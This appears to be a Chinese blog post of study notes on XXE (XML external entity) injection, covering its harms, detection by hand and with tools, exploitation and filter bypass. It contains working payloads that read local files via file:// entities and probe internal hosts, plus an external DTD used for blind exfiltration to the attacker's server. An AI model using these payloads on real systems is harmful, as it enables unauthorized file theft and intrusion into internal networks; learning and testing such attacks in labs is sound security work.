XXE&XML利用检测绕过漏洞

一、概念

XML:传输和储存格式类型

XXE:XML的漏洞注入全称(xml external entity injection)

二、危害

文件读取

RCE执行

内网攻击

DOS攻击

三、检测

白盒

        函数及可控变量查找

        传输和存储数据格式类型

黑盒

        人工

                数据格式类型判断:<user>text</user><pass>Mikasa</pass>

                Content-Type值判断:text/xml,appliacation/xml

                更改Concent-Type值看返回:更改为以上两种类型,查看返回值

        工具:xxe安全漏洞自动化注射脚本工具XXEinjiector--使用ruby编写,需要安装环境,原理就是 payload的fuzz。下载地址https://www.cnblogs.com/bmjoker/p/9614990.html

方法1步骤:     1.bp抓包

                         2.对该网站进行爬虫

                         3.检索XML关键字,找到接受xml格式的数据包

                        4.添加payloads

方法2步骤:    1.抓包

                        2.如果数据包没有xml数据则添加<a>a</a>

                        3.便可判断有无回显

四、利用

        输出形式

                有回显

                        协议玩法:http,file,各脚本支持协议

                        外部引用

                无回显

                        外部引用-反向链接配合

        过滤绕过

                协议玩法

                外部引用

                编码UTP-16BE

五、一些script:

                

通用xxe玩法-读文件(xxe-lab的payloads)

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY a SYSTEM "file:///G:/fw/111.txt">
]>
<user>
<username>&a;</username>
<password>123</password>
</user>
或者
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY a SYSTEM "file:///G:/fw/111.txt">
]>
<x>&a;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)不常见

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://localhost:9090/xxelab/fw.txt">
]>
<user><username>&rabbit;</username><password>1</password></user>
或
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE a [ 
<!ELEMENT a ANY > 
<!ENTITY b SYSTEM "http://localhost:9090/xxelab/fw.txt"> 
]> 
<x>&b;</x>

通过有xxe的漏洞网站,向其服务器内网进行判断192.168.1.1的8080端口是否开放,并且 index.txt文件是否存在

引入外部实体dtd---主要的作用是自定义攻击,但是前提条件是对方网站没有禁止引入外部 实体

图片

dtd文件会被当作xml文件执行 

所以在自己服务器上写上相应的代码即可 evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">

无回显-读取文件 有时网站代码中设置了不回显,可以通过向自己服务器发送数据来查看到信息,一种是看日 志信息,一种是将传递进来的数据直接写入到文件中

图片

服务器中test.dtd文件代码:

图片

对于ENTITY、SYSTEM、file等关键字被过滤,可以采用编码格式绕过UTF-16BE 详细内容可以参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

如果http协议被过滤可以采用其他的协议方法绕过 对于使用哪种绕过可以成功执行需要进行fuzz测试,看那些成功漏洞的发现可以采用扫描工具有专门的xxe扫描工具,也有综合的工具,还可以通过bp中抓 取的数据包信息查询关键字,Content-Type值判断又没有等于text/xml 或 application/xml的,如果没有也可以手工修改为上边两个值,将数据更改为xxe语句,看回 显,因为数据包中虽然没有写接收信息类型,但是不说明不存在

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值